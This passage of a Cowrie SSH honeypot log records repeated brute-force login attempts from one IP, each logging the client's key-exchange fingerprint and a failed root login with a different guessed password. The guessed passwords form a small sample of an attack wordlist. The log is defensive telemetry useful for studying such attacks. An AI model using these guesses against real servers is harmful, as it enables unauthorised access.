sa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:08.936194Z","src_ip":"60.165.124.241","session":"f595dc949eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Aa123456","message":"login attempt [root/@Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:09.686632Z","src_ip":"60.165.124.241","session":"f595dc949eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:10.941963Z","src_ip":"60.165.124.241","session":"f595dc949eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57972,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8a25a2c4fa2","protocol":"ssh","message":"New connection: 60.165.124.241:57972 (10.17.0.5:22) [session: a8a25a2c4fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:11.187486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:11.192854Z","src_ip":"60.165.124.241","session":"a8a25a2c4fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:11.435092Z","src_ip":"60.165.124.241","session":"a8a25a2c4fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"capslock","message":"login attempt [root/capslock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:12.177859Z","src_ip":"60.165.124.241","session":"a8a25a2c4fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:13.432869Z","src_ip":"60.165.124.241","session":"a8a25a2c4fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32890,"dst_ip":"10.17.0.5","dst_port":22,"session":"92fbff924089","protocol":"ssh","message":"New connection: 60.165.124.241:32890 (10.17.0.5:22) [session: 92fbff924089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:13.680848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:13.685966Z","src_ip":"60.165.124.241","session":"92fbff924089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:13.934099Z","src_ip":"60.165.124.241","session":"92fbff924089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@byd","message":"login attempt [root/123456@byd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:14.698886Z","src_ip":"60.165.124.241","session":"92fbff924089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:15.950764Z","src_ip":"60.165.124.241","session":"92fbff924089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35604,"dst_ip":"10.17.0.5","dst_port":22,"session":"210dac74cca5","protocol":"ssh","message":"New connection: 60.165.124.241:35604 (10.17.0.5:22) [session: 210dac74cca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:16.182589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:16.189344Z","src_ip":"60.165.124.241","session":"210dac74cca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:16.428461Z","src_ip":"60.165.124.241","session":"210dac74cca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjkl","message":"login attempt [root/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:17.150808Z","src_ip":"60.165.124.241","session":"210dac74cca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:18.392483Z","src_ip":"60.165.124.241","session":"210dac74cca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38748,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f332d22ae8","protocol":"ssh","message":"New connection: 60.165.124.241:38748 (10.17.0.5:22) [session: a8f332d22ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:18.654630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:18.659692Z","src_ip":"60.165.124.241","session":"a8f332d22ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:18.927210Z","src_ip":"60.165.124.241","session":"a8f332d22ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20252025","message":"login attempt [root/20252025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:19.688602Z","src_ip":"60.165.124.241","session":"a8f332d22ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:20.945430Z","src_ip":"60.165.124.241","session":"a8f332d22ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42110,"dst_ip":"10.17.0.5","dst_port":22,"session":"473cbae9302e","protocol":"ssh","message":"New connection: 60.165.124.241:42110 (10.17.0.5:22) [session: 473cbae9302e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:21.180612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:21.186781Z","src_ip":"60.165.124.241","session":"473cbae9302e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:21.432097Z","src_ip":"60.165.124.241","session":"473cbae9302e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09N1RCa1Hs31a123","message":"login attempt [root/09N1RCa1Hs31a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:22.172116Z","src_ip":"60.165.124.241","session":"473cbae9302e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:23.416292Z","src_ip":"60.165.124.241","session":"473cbae9302e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44926,"dst_ip":"10.17.0.5","dst_port":22,"session":"12cd8bcd2017","protocol":"ssh","message":"New connection: 60.165.124.241:44926 (10.17.0.5:22) [session: 12cd8bcd2017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:23.652593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:23.657760Z","src_ip":"60.165.124.241","session":"12cd8bcd2017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:23.908356Z","src_ip":"60.165.124.241","session":"12cd8bcd2017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123.@","message":"login attempt [root/Abc123.@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:24.645545Z","src_ip":"60.165.124.241","session":"12cd8bcd2017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:25.892082Z","src_ip":"60.165.124.241","session":"12cd8bcd2017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47994,"dst_ip":"10.17.0.5","dst_port":22,"session":"5747ff2b4e19","protocol":"ssh","message":"New connection: 60.165.124.241:47994 (10.17.0.5:22) [session: 5747ff2b4e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:26.129916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:26.134251Z","src_ip":"60.165.124.241","session":"5747ff2b4e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:26.373497Z","src_ip":"60.165.124.241","session":"5747ff2b4e19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Eastnet@202!","message":"login attempt [root/Eastnet@202!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:27.097277Z","src_ip":"60.165.124.241","session":"5747ff2b4e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:28.339495Z","src_ip":"60.165.124.241","session":"5747ff2b4e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50756,"dst_ip":"10.17.0.5","dst_port":22,"session":"b055a2a05e8d","protocol":"ssh","message":"New connection: 60.165.124.241:50756 (10.17.0.5:22) [session: b055a2a05e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:28.572401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:28.576638Z","src_ip":"60.165.124.241","session":"b055a2a05e8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:28.816250Z","src_ip":"60.165.124.241","session":"b055a2a05e8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SZDY#9qidc.cn","message":"login attempt [root/SZDY#9qidc.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:29.532849Z","src_ip":"60.165.124.241","session":"b055a2a05e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:30.772609Z","src_ip":"60.165.124.241","session":"b055a2a05e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"4244867b77c4","protocol":"ssh","message":"New connection: 60.165.124.241:53814 (10.17.0.5:22) [session: 4244867b77c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:31.006501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:31.011235Z","src_ip":"60.165.124.241","session":"4244867b77c4","protocol":"ssh"}
